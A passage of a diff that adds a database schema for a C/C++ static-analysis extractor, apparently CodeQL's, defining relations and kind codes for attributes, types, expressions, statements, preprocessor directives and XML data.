+ unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +namespaceattributes( + int namespace_id: @namespace ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype + | @decltype + | @derivedtype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_default ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_default ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +| 394 = @isinvocable +| 395 = @isnothrowinvocable +| 396 = @isbitwisecloneable +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + | @isinvocable + | @isnothrowinvocable + | @isbitwisecloneable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +param_ref_to_this( + int expr: @param_ref ref +) + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_default ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +| 40 = @stmt_leave +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue | @stmt_leave; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 17 = @ppd_embed +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +embeds( + unique int id: @ppd_embed ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/*- Database metadata -*/ + +/** + * The CLI will automatically emit applicable tuples for this table, + * such as `databaseMetadata("isOverlay", "true")` when building an + * overlay database. + */ +databaseMetadata( + string metadataKey: string ref, + string value: string ref +); + +/*- Overlay support -*/ + +/** + * The CLI will automatically emit tuples for each new/modified/deleted file + * when building an overlay database. + */ +overlayChangedFiles( + string path: string ref +); + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: 